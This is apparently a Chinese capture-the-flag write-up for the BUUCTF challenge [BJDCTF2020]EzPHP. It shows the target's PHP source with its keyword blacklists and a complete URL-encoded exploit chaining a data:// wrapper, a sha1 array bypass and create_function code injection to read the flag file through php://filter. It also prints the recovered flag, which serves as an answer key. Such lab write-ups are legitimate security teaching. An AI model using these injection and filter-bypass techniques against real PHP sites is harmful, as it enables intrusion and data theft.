当前位置: 首页 > article >正文

96,【4】 buuctf web [BJDCTF2020]EzPHP

进入靶场

查看源代码

 

GFXEIM3YFZYGQ4A= 

一看就是编码后的

1nD3x.php

访问

得到源代码

<?php
// 高亮显示当前 PHP 文件的源代码,用于调试或展示代码结构
highlight_file(__FILE__);
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全漏洞
error_reporting(0); 

// 初始化变量 $file,默认值为 "1nD3x.php"
$file = "1nD3x.php";
// 从 GET 请求中获取名为 'shana' 的参数值
$shana = $_GET['shana'];
// 从 GET 请求中获取名为 'passwd' 的参数值
$passwd = $_GET['passwd'];
// 初始化变量 $arg,用于后续存储参数,初始为空字符串
$arg = '';
// 初始化变量 $code,用于后续存储代码,初始为空字符串
$code = '';

// 输出提示信息,告知用户这是一个简单挑战,解决后会给出 flag
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

// 检查 $_SERVER 数组是否存在
if($_SERVER) { 
    // 使用正则表达式检查 $_SERVER['QUERY_STRING'] 是否包含危险关键字
    // 这些关键字可能被用于执行危险操作,如代码注入、命令执行等
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        // 如果包含危险关键字,终止程序并输出警告信息
        die('You seem to want to do something bad?'); 
}

// 检查从 GET 请求中获取的 'file' 参数是否不包含 'http' 或 'https'
if (!preg_match('/http|https/i', $_GET['file'])) {
    // 检查 'debu' 参数是否匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'
    // 这里是一个矛盾条件,正常情况下不会满足
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        // 如果满足条件,将 'file' 参数的值赋给 $file 变量
        $file = $_GET["file"]; 
        // 输出提示信息,表示用户完成了一个步骤
        echo "Neeeeee! Good Job!<br>";
    } 
} else {
    // 如果 'file' 参数包含 'http' 或 'https',终止程序并输出警告信息
    die('fxck you! What do you want to do ?!');
}

// 检查 $_REQUEST 数组是否存在
if($_REQUEST) { 
    // 遍历 $_REQUEST 数组中的每个值
    foreach($_REQUEST as $value) { 
        // 使用正则表达式检查值是否包含英文字母
        if(preg_match('/[a-zA-Z]/i', $value))  
            // 如果包含英文字母,终止程序并输出警告信息
            die('fxck you! I hate English!'); 
    } 
} 

// 读取 $file 文件的内容,并检查是否等于 'debu_debu_aqua'
if (file_get_contents($file) !== 'debu_debu_aqua')
    // 如果不相等,终止程序并输出提示信息
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

// 检查 $shana 和 $passwd 的 SHA-1 哈希值是否相等,但 $shana 和 $passwd 本身不相等
// 这是利用了 SHA-1 哈希函数对某些特殊输入可能产生相同哈希值的特性
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    // 如果满足条件,从 GET 请求的 'flag' 参数中提取变量
    extract($_GET["flag"]);
    // 输出提示信息,表示用户通过了密码验证
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    // 如果不满足条件,终止程序并输出警告信息
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

// 检查 $code 是否只包含小写字母和数字,或者 $arg 是否包含危险关键字
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    // 如果满足条件,终止程序并输出提示信息,表示危险函数已被禁用
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    // 如果不满足条件,包含 'flag.php' 文件
    include "flag.php";
    // 调用 $code 变量作为函数,并传入空字符串和 $arg 作为参数
    $code('', $arg); 
}
?>

总结:我们需要传参(shana password)

绕过正则表达式检查 $_SERVER['QUERY_STRING'] 

'file' 参数不包含 'http' 或 'https' 

 'debu' 参数匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'   

$_REQUEST 不能包含英文字母

 $file 文件的内容要等于 'debu_debu_aqua'

$shana 和 $passwd 的 SHA-1 哈希值相等,但 $shana 和 $passwd 本身不相等

$code 只包含小写字母和数字,或者 $arg 不包含危险关键字

payload

 /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

post传参 file=1&debu=1

flag就在这里,你能拿到它吗?PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

flag{fe86073e-3af9-4cbd-a53b-314b59da8b86} 

 


http://www.kler.cn/a/529848.html

相关文章:

  • 2181、合并零之间的节点
  • 【Proteus】NE555纯硬件实现LED呼吸灯效果,附源文件,效果展示
  • Baklib赋能企业提升内容中台构建效率的全新路径解析
  • 牛客网 除2!(详解)c++
  • 【RAG】SKLearnVectorStore 避免使用gpt4all会connection err
  • 如何使用SliverList组件
  • JavaFX - 事件处理
  • Mac上的虚拟化软件推荐
  • Go 中 defer 的机制
  • 基于开源AI智能名片2 + 1链动模式S2B2C商城小程序源码在抖音招商加盟中的应用与创新
  • web前端13--动画
  • 129.求根节点到叶节点数字之和(遍历思想)
  • 面试题:React实现鼠标托转文字绕原点旋转
  • DeepSeek是什么?横空出世意味着什么?
  • K8s介绍代理外部服务的svc几种方式
  • 力扣 215. 数组中的第K个最大元素
  • AWS EMR上的Spark日志实时搜索关键指标网页呈现的设计和实现
  • 测压表压力表计量表针头针尾检测数据集VOC+YOLO格式4862张4类别
  • 使用MATLAB进行雷达数据采集可视化
  • MySQL的覆盖索引
  • Games104——网络游戏的架构基础
  • Eigen::Tensor使用帮助
  • Qt常用控件 输入类控件
  • 文本复制兼容方案最佳实现落地。
  • Node.js常用知识
  • 在Qt中,slots 关键字有什么用?